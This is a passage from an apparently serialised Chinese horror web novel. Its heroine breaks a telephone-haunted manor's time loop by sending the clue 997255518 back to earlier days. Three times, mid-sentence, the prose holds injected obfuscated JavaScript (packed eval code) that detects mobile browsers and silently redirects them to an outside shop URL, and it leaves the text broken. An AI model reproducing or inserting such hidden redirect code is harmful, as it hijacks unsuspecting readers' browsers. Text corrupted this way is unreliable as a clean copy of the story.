两人回到大厅,又快速在庄园内搜寻了一圈,但依旧没有找到任何关乎“997255518”的线索。初与序的记忆已经模糊,只隐约记得“997”开头,后面的数字无论如何都想不起来了。 “意哥,你还记得第一天我们都看到的数字吗?”她问。 江意摇头:“我只记得有那一串数字,但具体是什么并不知道。” 目前为止,唯一可能记得的,是第一天的景明垂,但她现在不知道被时间裂缝带到了哪一天。 初与序强迫自己转移思路:“既然数字线索断了,我们得另找办法。” 但两人对视一眼,都从对方眼中看到了同样的茫然。从第一次穿越开始,庄园就像个不断变化的迷宫,每一次循环都抹去了挂念线索,重置所有异常。 江意靠在壁炉边,火光映照在他惨白的脸上。他沉默片刻,开口:“既然现在找不到数字线索,不如先确保生存。”他从口袋里取出一张便签纸,“这是所有的【电话安全规则】。” 初与序接过纸条,上面除了已知的规则外,还有几条新发现: 「当亡者问“能帮我吗?”,回答“可以”,玩家会被附身,短暂失去身体控制权;回答“不能”,电话另一端会传来凄厉惨叫,该亡者将频繁骚扰玩家。」 「正确应对:反问“你需要什么帮助?”亡者通常会给出模糊提示。」 「当亡者问“你是谁?”,说真名,亡者会记住名字,并在夜间以该玩家的声音打电话给其他人;说假名,若假名碰巧与庄园历史人物重合(如“莉莉”是死去的女仆名),会触发对应亡者的仇恨。」 「亡者的话语可能是——线索(需验证真实性);误导(往往是致命陷阱);诅咒(听到后立刻挂断,否则会加速灵异事件触发)。」 「特别警告:部分高阶亡者会模仿队友的声音,需通过用词习惯和背景音(模仿声通常伴有微弱电流杂音)来辨认。」 初与序捏着纸条,看向江意:“你试错过多少次才总结出这些?” 江意扯了扯嘴角,没有回答。 151.亡铃 初与序没有继续追问,换了个话题:“昨天凌晨我接到了一个奇怪的电话,电话那头的亡者一直在说时间理论。” “你能把它的话重复一遍吗?”江意淡淡道,“一字不差。” 初与序:“???” 你知道那个时候是几点吗?!知道它说了多少话吗?! 初与序叹了口气,闭上眼睛,回忆着凌晨电话里那个苍老声音的每一处停顿和重音,然后竟然真的一字不差地复述了出来: “…时间的相对性证明,当观测者处于封闭系统内,熵减现象会引发局部时空褶皱…所以第五维度的生物看待我们,就像我们看待二维平面…” 她顿了顿:“正常世界熵值永远增加,但这里的时间在倒流与循环,我认为这句话是在暗示时间可以被高维存在操控。” “……” “当观察者成为被观察的对象,实验就完成了闭环,维恩博士最后明白了这一点。9972年某月某日…这里我忘记了日期,他对着电话说出了那个数字。” “他用了比喻,说我们就像‘薛定谔的猫’,在打开盒子前既是活着的又是死去的。” 初与序继续道:“还有量子退相干理论,说意识可以影响时间流动。但这里有个矛盾点,亡者先说‘死亡是最稳定的观察点’,后面又说‘你们既是活着的又是死着的’。” 江意听完初与序的转述,托着下巴陷入沉思。 “根据亡者所说。”他开口道,“第一,这个庄园是个完全封闭的时间系统。维恩的实验扭曲了这里是时空结构,让过去、现在和未来像毛线团一样纠缠在一起,这就是为什么我们会随即跳跃到不同天数。” 初与序若有所思:“所以每次循环都不是简单的时间倒流,而是我们掉进了一个时间褶皱里?” “没错。”江意点头,“第二,那句‘观察者成为被观察的对象’才是核心。我们很可能就是维恩实验的观察对象,甚至是实验本身的一部分。” “既死又活,处于量子叠加态?”初与序挑眉,“那就解释了为什么我们能在死亡后‘复活’,在这个时空里,我们的存在状态本身就不确定。” 江意走到窗边,看着外面的灰雾:“第三点,亡者说‘死亡是最稳定的观察点’。我怀疑,只有真正的死亡才能让我们脱离这个循环。” 初与序听明白他话中意思,没有反驳,两人陷入长久的沉默。 她的目光落在壁炉跳动的火焰上,忽然想起那条蛇在浓雾中说过的话: “只有一样东西…永远不会被抹去。” 当时蛇的尾巴指向庄园的方向,却没能说完答案。 现在想来,答案或许再明显不过——死亡。 在这个时空错乱的牢笼里,记忆会被纂改,线索会被重置,连数字都会从脑海中蒸发。但唯有死亡,无论循环多少次都无法抹去。 “叮铃铃——!” 电话铃声将初与序拉回现实,她在十秒内快速接起听筒,亡者沙哑的声音立刻传来:“地下室…去看看…” 电话挂断,两人没有犹豫,立刻起身前往地下室。沿着狭窄的台阶向下,空气变得愈发潮湿阴冷,墙壁上的水珠滴落,发出滴答声。 地下室的门半掩着,从缝隙中透出蓝光。初与序轻轻推开门,往里面看去。 地下室中央悬浮着一团扭曲的光影,画面中,一个戴着圆框眼镜的中年男人坐在地上,正疯狂地拨动着电话转盘。他的实验室里摆满了各式各样的通讯设备,墙上贴满了复杂的时间轴公式。 初与序记得男人的面容,是维恩霍华德。 忽然,维恩的动作顿住了。他接通的电话里传来无数重叠的哀嚎和低语,那些声音扭曲变形,似乎是来自不同的时空维度。 “不…这不可能…”维恩的脸色变得惨白,但眼中却闪烁着病态的狂热,“我真的接通了…时间的频率…” 画面中,电话里的声音越来越嘈杂: “救救我们……” “放我出去……” “你也会成为我们的一部分……” 维恩的手开始发抖,但他仍然死死抓着听筒,像是被某种力量控制。实验室的灯光开始闪烁,墙上的公式自行扭曲重组,最终变成了一串数字: 997255518 就在这一刻,画面突然扭曲,维恩的脸开始分解,他的身体像被无形的力量拉扯,逐渐变得透明。 “不!等等!”他绝望地伸出手,想抓住什么,但最终…… “啪。” 幻想消失了,地下室恢复了正常,墙上的那串数字只存在了几秒,此刻正缓缓消散,初与序和江意立刻记住了数字,虽然只是暂时的, 背后传来脚步声,初与序猛地转头,老管家如幽灵般出现在楼梯口,直勾勾盯着两人,却没有攻击,只是对着餐厅的位置做了一个“请”的手势。 初与序忽然想起了第二天凌晨时,床底下的纸条: 「不要相信天数,管家不说谎。」 她小声问江意:“管家一直不说话吗?” 江意点头,率先往餐厅走去:“从来没有听过他说话。” 餐厅内,尽管景明垂的座位空着,但老管家依旧将餐盘轻轻放在三个位置上。初与序盯着餐盘,突然发现餐盘底下压着一片泛黄的报纸。 她伸手抽出,借着烛光看清上面的字迹: 《霍华德庄园离奇失踪案,电话成谜》(9972年5月6日) 「著名科学家维恩霍华德及家人于昨日凌晨失踪,警方破门而入时,发现屋内所有电话均未挂断,听筒中传出微弱呼吸声……餐桌上的晚餐尚未食用,主实验室的最后一个实验记录显示时间为5时18分……」 报纸边缘还沾着一张便签,上面是稚嫩的孩童笔迹: 「爸爸说,电话能让我们永远在一起。」 初与序将报纸平铺在餐桌上,点了点那行「电话均未挂断」的字上:“维恩的实验成功了,但代价是全家被拖进了时间的裂缝。那些没挂断的电话,成了连接不同时间点的通道。” 江意拿起那张便签:“‘永远在一起’…他可能想用电话网络将家人的意识固定在时空中。”他指了指报纸上的「5时18分」,“但实验失控了,整个庄园变成了时间的牢笼。” “那么维恩一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830307|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家到底去了哪里?”初与序托着下巴问。 江意抬眼看向大厅墙上那些肖像画:“也许哪都没去,就困在电话里,成了永远重复某段执念的亡者。” 他正陷入沉思,忽然察觉到初与序的身体明显僵住,目光锁定在餐盘角落。 “有东西?”江意立刻警觉起来,手已经按在了机械手环上,顺着她的视线看去。 一只小小的瓢虫正慢悠悠地爬过桌布。 初与序没有回答,只是飞速从椅子上站起身:“…我怕虫子,我先回去了,希望明天能见面。” 说完,她头也不回地快步上楼,脚步比平时急促几分,甚至带着点落荒而逃的意味。 江意:“……” 他低头看了看角落里那只毫无威胁的甲虫,又看了看初与序消失在转角的背影,一时不知道该先吐槽哪一个。 房间里,初与序立刻反手锁上门,防止没有什么东西进来,才松了口气。 坐在梳妆台边,面前的镜子依旧照不出自己的倒影。她的目光移到那台老式电话上,一个想法忽然在她脑海中浮现。 她果断拿起听筒,手指在转盘上一个个拨动: 9-9-7-2-5-5-5-1-8 她将听筒抵在耳边,电话里传来“嘟嘟”的忙音,持续了十几秒后,突然变成刺耳的电流杂音。 “咔嗒”一声,一个机械的女声响起: “您好,您拨打的号码不在服务时空范围内。” “您好,您拨打的号码不在服务时空范围内。” “您好,您拨打的号码不在在在在在在在在……” 听筒突然变得滚烫,烫得初与序差点脱手,她挂断电话。整个房间变得寂静,只剩下自己加速的心跳声。 下一秒,熟悉的低语再次从四面八方涌来: 【当观察者成为被观察的一部分,时间的裂缝就会形成闭环。】 初与序终于意识到,这是穿越时间的前兆。 第一次是在第二天凌晨,电话挂断后听到这句话,随即回到了第一天;第二次在酒窖,同样的低语后,她遇见了第五十一天的江意。而现在,是第三次。 她快步走到窗边,拉开窗帘。窗外原本浓重的黑夜,此刻变成了昏黄的午后。枯萎的花园竟然焕发生机,喷泉流淌着清澈的水流,但那堵砖墙仍然在那里。 初与序推开门,缓步走下楼梯。 大厅里的光线比前几天更加昏暗,壁炉的火光将几个晃动的影子投在墙壁上。她走下最近一级台阶,抬眼望去。 景明垂和江意正半跪在地上,而他们中间,是另一个初与序。 那个“她”脸色惨白,被景明垂半搂在怀里,鲜血不断从嘴角溢出,呼吸微弱。 当“初与序”看到站在楼梯口的初与序时,涣散的眼神突然亮了一瞬,朝她短促地笑了一小下。 初与序猜,她知道,只要自己来了,“初与序”的死亡就只是时间线上的一个节点,而非终点。这样,她就可以放心死去。 “这是第几天?”初与序走上前,声音有些干涩。 景明垂抬头,神色复杂:“第五天。” 152.亡铃 初与序垂眸看着第五天的自己,她沉默了一秒,拔出短刀,刀尖直指地上的“初与序”,向前一步,却被江意抢先扣住了手腕。 “干什么?”初与序掀起眼皮。 “你不能杀死你自己。”江意挡在重伤的“初与序”面前,“这是自杀,你下得去手吗?” 初与序语气平静:“本来就是要死了,与其让她继续流血痛苦,不如给个痛快。” 江意的手指收紧,神色复杂地看着他:“你何必这么对待你自己?如果你杀了她,现在的你也会受到精神伤害,甚至□□疼痛。” “我无所谓。”初与序耸耸肩。 景明垂轻轻按住怀中人的伤口:“我们至少需要先止血,如果她能活过来呢?” “然后呢?”初与序轻轻拿开江意的手,“她不可能活过来,这里也不可能出现两个初与序。难道你们要为了她,和我站在对立面吗?” 她向前一步,刀尖已经对准“初与序”的咽喉:“她可以留在过去,但我们不行。” 沉默持续了很久,最终,江意颓然地退后一步,露出身后的“初与序”。他的眼神像是看着一个正在坠崖的人,却无力拉住。 景明垂的手微微颤抖,却终究没有阻拦。她沉默地收紧手臂,将怀中疼得发抖的“初与序”更深地拥入怀抱。“初与序”艰难地抬起手,染血的手指轻轻抚上景明垂的脸颊。 “没事的。”那个“初与序”气若游丝地笑了笑,“你知道这不算真正的死亡。” 初与序站在一旁静静等待,直到景明垂深吸一口气,缓缓松开怀抱。她单膝跪在“自己”身边,左手轻轻覆盖上对方的双眼,不愿与“自己”对视。 “很快。”她低声道,右手缓缓抬起,短刀精准刺入对方心脏位置。 被捂住眼睛的“初与序”只是轻轻地抽搐了一下,连闷哼都没有发出。这一刀完美避开了所有会延长痛苦的神经,直接切断了生命中枢。 无数细碎的光点从伤口处开始飘散,如同冬夜雪粒,在昏暗的大厅里缓缓升腾,消散。 初与序始终保持着这个姿势,久久未动。直到最后一粒光点从指缝中流逝,她才缓缓站起身,将短刀收回鞘中。 不等三人休息,电话声再次响起,打破了沉默。 初与序抬起眼,看向大厅中央那台老式电话。她没有立刻动身,而是站在原地,静静地看着它响到第三声、第四声…… 江意和景明垂同时看向她。 初与序终于迈步,在第十秒时,拿起了听筒。 “你能帮我吗?”电话那头传来一个女人的声音,轻柔但空洞,像是从很远的地方飘来。 按照上次江意的规则,她不能直接回答“能”或“不能”。 “你需要什么帮助?”她轻声反问。 电话那头的亡者似乎愣住了,沉默了几秒后,声音变得清晰起来。不再是那种机械般的重复,而是带着一丝人性化的颤抖: “我…我想回家…” 这是初与序第一次听到亡者表现出如此鲜明的情绪。景明垂和江意也察觉到了异常,立刻靠近了几步。 “你的家在哪里?”初与序继续追问,试图通过这通电话了解到更多信息。 “在…在时间开始错乱之前…”亡者的声音越来越微弱,“9972年…5月…之前…” 初与序还想再问什么,电话那头突然传来一声脆响,通话被强行切断。紧接着,整座庄园的电话在同一秒炸响!此起彼伏的铃声将三人包围。 每一台电话的听筒都在自动浮起,悬在半空;每一根电话线都像活物般蠕动起来。 三人还未来得及反应,脚下的地板突然倾斜,整个庄园在眨眼间左右颠倒! 天花板变成地板,吊灯砸落粉碎,家具从右侧滑向左侧,墙壁上的画作哐当坠地。景明垂立刻抓住楼梯扶手,而初与序将短刀插进地板稳住身形。 她的目光四处寻找江意的身形,却惊讶地发现,江意消失了。 就在空间翻转的同时,他毫无预兆地消失在原地,跳转到其余时间了。 “不能待在这里!”景明垂喝道,两人立刻冲向大门。 门外竟然不是花园,而是一条无限延伸的走廊,两侧密密麻麻排列着数百台电话,每一台的听筒都在流血。 初与序和景明垂背靠背站在走廊中央,四周的电话机不断发出刺耳的铃声,听筒中伸出的苍白手臂疯狂向两人抓来。 “看来只能硬闯了。”初与序低声道,握紧了短刀。 景明垂没有回答,手腕一抖,金色的琴弦窜出,瞬间将最近的三台电话机拦腰切断。电线垂落,那些断臂仍在地上抽搐爬行。 初与序动作很快,刀光所过之处,亡者的手臂纷纷断裂。但每切断一只,就有更多从其他电话里钻出。一只浮肿的手突然抓住她的脚踝,长指甲刺入皮肉。 琴弦及时掠过,将那手臂切断。初与序头也不回地反手一刀,刺穿身后正要扑来的亡者眼眶。 “左边!”景明垂厉声提醒。 刀锋横斩,将一排爬来的断肢齐齐削飞。 忽然,景明垂脚下一绊。她飞快稳住身形,低头看去。地板不知何时变成了无数纠缠的电话线,正蛇一般缠绕上她的脚踝! 初与序毫不犹豫将短刀掷出,刀身精准钉穿正要掐住景明垂喉咙的亡者头颅。与此同时,景明垂纵身跃起,琴弦凌空划开线路。 “这样下去没完没了。”景明垂道,“要找到出口!” 初与序环顾四周,突然注意到,走廊尽头有一台金色的老式电话没有渗出鲜血。她忽然开口:“掩护我!” 景明垂立即会意,琴弦交织成网,暂时挡住汹涌的鬼潮。初与序趁机冲向那台金色电话,在手臂即将抓到她时,一把折断了电话线。 “滋啦——!!!”的电流声响彻走廊,所有电话机同时爆出火花。亡者们痛苦地抽搐着,化作黑烟消散,走廊开始扭曲变形。 当刺眼的白光消散,两人发现自己又站在了庄园大厅。 但这里的一切仍是左右颠倒的,画像反挂着,楼梯扶手在错误的一侧,连壁炉里的火焰都向□□斜。 两人又检查了一遍一楼,确定除了左右颠倒外,并无其他异常。 “我去二楼看看。”景明垂走上楼梯,“你守着大厅,注意电话。” 初与序点头,目送她走上楼梯。颠倒的庄园安静,只能听得见心跳声。她独自一人站在壁炉前,盯着火焰反常的燃烧方向,思索着如何破解这个时空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830308|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷宫。 “叮铃铃——”的电话声竟然再一次响起,初与序转身,走向那台挂在反方向墙上的电话,拿起听筒,没有说话。 “你是谁?”亡者的声音沙哑阴冷。 初与序沉默了一秒,本想把程恒的名字说出来,却突然灵光一闪,脱口而出:“初一。” 电话那头传来“咯咯”的笑声:“好的…初一…” 通话戛然而止。 初与序皱了皱眉,放下听筒。她并不知道“初一”这个名字是怎么出现的,只记得在《灯影诡村》中,除了吐槽那三个NPC的名字(李二、王三、赵四),她也有想过自己是不是叫“初一”,但单纯只是开玩笑的想法,转眼就忘了。 景明垂从二楼楼梯上走下来,摇了摇头:“没有任何线索。” 她的手上还沾着些许灰尘,显然已经仔细检查过每个角落,整个庄园和前几天一样。 老管家再次出现在晚饭时间,沉默地端上餐盘。但当初与序借口去厨房接水时,瞥见冰箱门微微敞开,里面堆积的食材依旧腐烂发黑,爬满驱虫。 景明垂看着管家,突然开口:“你知道维恩一家去了哪里,对吗?” 管家纹丝不动,浑浊的眼睛直视前方,像是一具被抽空灵魂的木偶,任由两位玩家打量着自己。 “算了。”初与序叹了口气,“他一直不说话。” 最终,两人只能回到各自的房间休息。景明垂反锁上门,环视整个房间。 床铺在颠倒的房间里格外怪异,她早已习惯了这个副本的荒诞,和衣躺下,闭眼前最后看了眼挂在“天花板”上的吊灯,它此刻却稳稳地立在地板上。 半梦半醒间,床头柜刺耳的电话声炸响。 “叮铃铃——” 景明垂睁开眼,抓起听筒,声音里毫无睡意:“说。” “景明垂。”电话那头是初与序的声音,“能来二楼书房吗?我找到了线索,但需要你的帮忙。” 景明垂面无表情沉默几秒,冷声道:“滚。” 电话里的初与序愣了一下:“你不相信我?” “按照初与序的德行,”景明垂淡淡道,“一个有起床气睡不醒的人,不可能大半夜给我打电话,除非太阳打西边出来了。” 电话那头的人似乎被这个理由震惊到,安静了一会,见骗不了人,装也不装了,发出“咯咯”的笑声,逐渐扭曲成非人的尖啸:“真聪明啊……” 下一秒,卧室的衣柜门猛地弹开,一只苍白的手从柜门内伸了出来。 景明垂已经飞速翻身下床,冲出房间,一把推开隔壁初与序的房门。果然,床上的人正缩在被子里熟睡,只露出几缕凌乱的黑发。 她二话不说掀开被子,拽着初与序后领就把人提起来。 “???”初与序一脸懵地看着突然出现在自己房间的景明垂,刚要开口,余光就瞥见了门口那道湿漉漉的身影。 浑身惨白的亡者正歪着头“看”她们,水珠从它腐烂的衣角滴落,在地板上汇成一滩水洼。 “…大半夜的,烦不烦?”初与序的睡意瞬间蒸发,短刀已经握在手中,“能不能把水擦干再过来?我还要拖地。” 景明垂:“???” 这是重点吗?! 153.亡铃 亡者咧开嘴,露出森白的牙齿,喉咙里发出“咯咯”的笑声,和电话里一模一样。景明垂抽出琴弦:“它冒充你打电话,你之前接电话的时候说了自己真名?” “真名?”初与序疑惑地看向景明垂,“没有啊。” 话音未落,门口的亡者突然四肢着地,像蜘蛛般朝她们扑来! 初与序顾不上思考“初一”到底是不是自己的本名,刀锋划破空气,在亡者扑来的下一秒精准刺入它的咽喉。 黑血喷溅的同时,景明垂控制琴弦缠上它的四肢,猛地收紧!腐肉与骨骼被生生绞碎,亡者发出凄厉的惨叫,拼命挣扎。初与序趁机拔出短刀,再次横斩,将它的头颅削去半边。 亡者踉跄后退,腐烂的身躯开始崩解,化作黑水渗入地板。 房间里重归寂静,初与序甩了甩刀上的黑血,皱眉看向景明垂,继续刚才的话题:“我说的名字是‘初一’。” “初一?”景明垂重新将琴弦缠绕在手腕上,“是你的小名吗?” 初与序摇摇头:“不是。” 至少,不应该是。 可亡者的反应不会骗人。 她想起记忆碎片里那个在冰蓝宫殿内,穿病号服的自己,想起永冬之城中杀死屠宰场玩家的“第二个初与序”。 “如果亡者认定的‘真名’包括所有的‘我’。那么或许,‘初一’是她的名字?”初与序下意识又伸手触碰脖颈右侧的伤疤,“就是另一个我。不同名字是为了区分她自己和我。” 景明垂陷入沉思:“如果‘初一’真的是另一个你的名字,那么她究竟是谁?” “而你自己,又究竟是谁?” 初与序没有急着回答,只是将目光移到窗外,从窗帘的缝隙中可以看到,外面黑乎乎一片,甚至没有月光。 “不知道。”她最终耸耸肩,语气里带着罕见的戏谑,“不过下次可以试试‘初二’,看看会不会有第三个我。” 景明垂无奈地瞥了她一眼,心想初与序会开玩笑了,变活跃了一点,挺好的。 她刚想说什么,熟悉的低语再次响起: 【当观察者成为被观察的一部分,时间的裂缝就会形成闭环。】 景明垂猛地抓住初与序的手腕,提醒道:“别忘记997255518这串数字!” 下一秒,世界扭曲。 初与序眼前一花,再睁眼时,已经站在一间陌生的卧室里。房间整洁有序,没有左右颠倒的诡异感。她抬起头,看向墙壁上的挂钟。 5:17。 她不由自主屏住呼吸,耳边回荡着景明垂最后的提醒。目光盯着挂钟,看着秒针一格一格走向顶点。 当时针与分针重叠在“5”和“18”时,初与序忽然一把抓起墙壁上的电话,飞快拨动转盘: 9-9-7-2-5-5-5-1-8 听筒里传来漫长的忙音,随后是“咔嗒”一声轻响,电话接通了。 一个疲惫又陌生的男声轻轻说:“终于…等到这个电话了。” 他顿了顿,语气中带着笑意:“你可以选择一个时间点短暂回去,去给过去的你一些些提示,像未来的你那样。一次只有十八分钟。” 初与序没有多想,毫不犹豫开口:“第一天,上午九点四十。” 话音未落,一阵天旋地转。再睁眼时,她已经站在二楼第一间卧室门口。初与序立刻推开门,房间里保持着第一天的样子。 房间内摆着一张四柱床,床单上落满灰尘。书桌上摆放着台历与老式电话,床头柜上放着一本翻开的日记本,钢笔还搁在页面上,墨水还未干涸。 忽然,有脚步声从走廊传来。 初与序原地不动,转过身,看着第一天的自己推门而入。因为副本规则,她看不见初与序,而是像第一天一样,走向日记本。 初与序立刻冲到床头柜旁边,在“自己”伸手的前一秒抢先翻动日记。手指划开泛黄的纸页,最终停在「9972年5月5日」那页,将这串数字第一次传递给过去的自己。 第一天的自己愣住,又抬头望向镜子,镜子里没有她的倒影。 趁着这时,初与序立刻闪身来到书桌前,飞快翻动上面的台历,纸张哗啦啦作响,最终又停在了「9972年5月」。 她一把抓起一边的红钢笔,在日期页上画下醒目的圆圈,墨迹如血般刺目。笔尖继续游走,在空白处留下: 「他们都在看着你。」 第一天的“初与序”似有所感,低头看向突然翻动的台历,眉头皱起。 “你还有七分钟时间。”耳边响起电话里男生的声音,初与序没有停留,转身冲出房间,闯入对面的卧室。梳妆台上,几个香水瓶泛着微光。 她拔出短刀,刀尖划过玻璃瓶身: 「5.5.9972」 刻痕在瓶身显现,其中一个香水瓶突然剧烈震动,暗红色的液体从内部渗出,将刻字染得猩红刺目。 紧接着,第一天的“初与序”果然来到了这个卧室,她被桌上的香水瓶吸引,拿起其中一瓶香水,观察上面的刻痕。 初与序站在她身后,静静地注视着这一幕。她终于明白,原本那些只存在于第一天的诡异线索,那些莫名的痕迹,全部都是未来的自己留下的。 一个完美的因果闭环。 她摇了摇头,轻轻叹了口气。 第一天的“初与序”猛地转身,余光似乎捕捉到了一抹模糊的轮廓,但还未看清楚。 “时间到了。”电话里的男声在耳边响起,“下一个地点?” 初与序闭了闭眼,感觉到“997255518”这串数字在记忆中稍微清晰了些,但还不够深刻,一觉睡醒就容易忘记。 “第一天,中午一点三十。” 空间再次扭曲,在彻底消失前,她看到第一天的自己困惑地环顾空荡的房间,最终将视线落回香水瓶上。 初与序出现在二楼走廊,此时,第一天的自己和景明垂正站在电话旁边。听筒内传来沙哑的声音:“走廊尽头的画…帮我看看…” 正是记忆中那通电话,趁着两人没来,初与序立刻冲向那幅肖像画,短刀出鞘,准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830309|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备直接在画布上刻着缺失的「518」。 【警告:禁止在关键线索处留下明显痕迹】 系统的限制让她停住动作。如果直接破坏画作,很可能会被副本重置抹去。 初与序迅速改变策略,刀尖转向画框下方的地板,刻下细小的「518」。但木质地板纹理粗糙,刻痕几乎与旧划痕融为一体,她怀疑第一天当然自己很可能注意不到。 没有犹豫,初与序刀刃一转,划破自己掌心。 鲜血涌出,同时走廊尽头传来脚步声,第一天的自己和景明垂正朝这边走来。 在两人来到画像面前时,初与序立刻把鲜血滴向画布,血珠精准落在画中人的右眼眶,很快把整个眼眶染红,又一滴一滴落在地板上,积了一小滩血迹。 而其中一滴血珠顺着画框滑落,最终溅在“初与序”的鞋尖。 如她所料,第一天的自己蹲下身,手指抹开血迹,发现了那个几乎细微的凹痕:「518」。接着又和第一天一样,两人听到了阁楼的动静,选择去阁楼看看。 初与序没有跟过去,飞快来到三楼书房,动作利落地抽出书架上的书籍,将大部分扉页撕下揉碎。 她唯独留下了角落那本烫金封面的《时间的悖论》,确保一会儿“初与序”和景明垂能第一眼就看到它。随后,初与序快速翻到关键段落,用红笔重重划下那句话: 「当观察者成为被观察的一部分,时间的裂缝就会形成闭环——维恩霍华德批注」 一行泛黄的便签从书页间滑落,上面密密麻麻写满时间公式。初与序接住,翻转便签,在背面补上: 「维恩霍华德,9972.5.5,通讯实验。」 刚把书塞回原味,门外就传来了脚步声。第一天的“初与序”和景明垂正从阁楼返回,推开了书房门。 初与序看着她们发现被撕毁的书页,看着她们径直抽出《时间的悖论》,看着她们拾起那张便签…… 忽然,她后退一步,竟不小心碰到了书桌下的抽屉。第一天的“初与序”闻声蹲下,目光立刻被那把古怪的锁吸引,微型电话拨号盘在幽暗中泛着荧光。 当“初与序”试图转动拨号盘时,整个书房忽然响起此起彼伏的电话忙音。初与序趁机翻开《时间的悖论》书页,停留在自己画满红色下划线的那一页。 景明垂发现了便签上的字迹与“初与序”的一模一样,而“997255518”这一串熟悉在初与序的脑海里也愈发清晰,很难忘记。 “时间到了。”男人的声音再次在耳边响起。 初与序的脑海中闪过记忆片段,第二次穿越时,自己和江意在地下室看到了幻象:维恩霍华德颤抖的手紧握着听筒,实验室的灯光刺眼,电话里无数亡魂的哀嚎交织。 那是维恩实验彻底失控的时间点。 “9972年5月5日。”她毫不犹豫地说,“夜晚七点左右。” 电话那头的男人愣了一下,似乎被她选择的时间惊讶到,随即他笑了一声。 空间开始扭曲,书房景象如潮水般褪去。 154.亡铃 初与序一睁眼,发现自己来到了一间实验室。 墙壁贴满复杂的时间轴公式和电话线路图,十几台不同型号的电话交换机闪烁着信号灯,中央实验台上摆着一台改装过的老式转盘电话,听筒歪在一旁,不断传出刺耳的电流杂音。 维恩霍华德正疯狂地转着电话拨盘,他的状态已经接近疯癫,头发凌乱,白大褂上沾满咖啡渍,手指因为长时间拨号而磨出血痕。 “再试一次……”他神经质地念叨着,又一次波动装盘:“再试一次…频率肯定在…” 突然,拨通的电话里爆发出惨叫:“放我们出去!!!” “救救我们!!!” “你也逃不掉的!!!” 维恩的脸色瞬间惨白,但眼中却闪烁着病态的兴奋:“我成功了……我真的接通了时间的频率……” 初与序没有犹豫,立刻冲到墙边,在记忆中的墙面位置上,用短刀刻下深深的刻痕: 「997255518」 维恩对近在咫尺的刻字毫无察觉,他颤抖的手指继续拨着不同号码:“不对…不是这个…” 电话里的回应越来越清晰:“你也会成为我们的一员,你们全家都会……” “时间到了。”那个熟悉的男声在初与序耳边响起,“下一站。” “9972年5月6日。”初与序坚定地说道,“凌晨五点十八分。” 眼前白光一闪,待视线恢复,初与序发现自己站在9972年5月6日的霍华德庄园大厅,天光微亮,灰蓝色的晨雾笼罩着整座建筑。 5:18。 “叮铃铃——!!!” 无数刺耳铃声从四面八方炸响,整座庄园的几百台电话同时疯狂震动起来,尖锐的铃声交织。 透过窗户,初与序看到二楼实验室的灯光剧烈闪烁。维恩的身影在窗前晃动,他正疯狂地抓起一台又一台电话,对着听筒嘶吼着什么。他的妻子抱着两个孩子冲进实验室,脸上写满惊恐。 然后,仿佛被按下了暂停键,所有声音戛然而止。 维恩一家人的动作突然定格,像被冻结在时光里。下一秒,他们的身体开始变得透明,如同被橡皮擦抹去的铅笔痕迹,一点点消散在空气中。 初与序走进一台电话,将耳朵贴近听筒。 耳边是微弱的呼吸声。 那呼吸声时断时续,像是从很远的地方传来,又像是被困在电话线中。 她刚放下听筒,身后就传来不急不慢的脚步声。初与序回过头,看见一个穿黑色西装的年轻男子不知何时出现在走廊尽头。他面容陌生,却带着莫名的熟悉感,灰色的眼睛似乎能看透一切。 初与序起初以为他是庄园的幸存者,像维恩等人一样看不见自己,毕竟他看上去完全不像亡魂。但当她准备绕过他继续搜查时,男子突然开口: “数字都记全了吗?” 是电话里那个男声。 “你看得见我?”初与序下意识将手搭在短刀刀柄上。 男子耸耸肩:“当然。” 初与序垂下准备拿刀的手,看着对方的脸,突然问:“我是不是在哪里见过你?” 男人没有回答,只是望向空荡的楼梯,转移了话题:“维恩霍华德,痴迷于时间理论的疯子。他相信人类意识能跨越时间维度,甚至与过去未来的自己对话。” “所以他改造了整个庄园的电话线路,制造了这个时间裂缝。”他倚在楼梯扶手上:“所有进入这里的人,都会在某个瞬间被拉入循环。” 他话音刚落,庄园门口就响起由远及近的警笛声。 数辆警车停在庄园外,穿着制服的警员们谨慎地推开大门。他们的手电光束在昏暗的大厅内亮起,照亮了那些垂落的电话听筒。 每一个听筒里都传来微弱的呼吸声。 “老天……”一个年轻警员颤抖着想去挂断电话,却被年长的同僚猛地拉住。 “别碰!”老警员脸色发青,“这不对劲!” 初与序和男子站在楼梯阴影处,静静注视着这一切。警察们的视线穿透他们的身体,却看不见他们。 法医们小心翼翼地检查着餐桌上的晚餐,食物还冒着热气,刀叉摆放整齐,想是主人刚刚离席。 “全家四口。”警长翻看着维恩的实验笔记,皱起眉头,“最后一次记录是5时18分。” 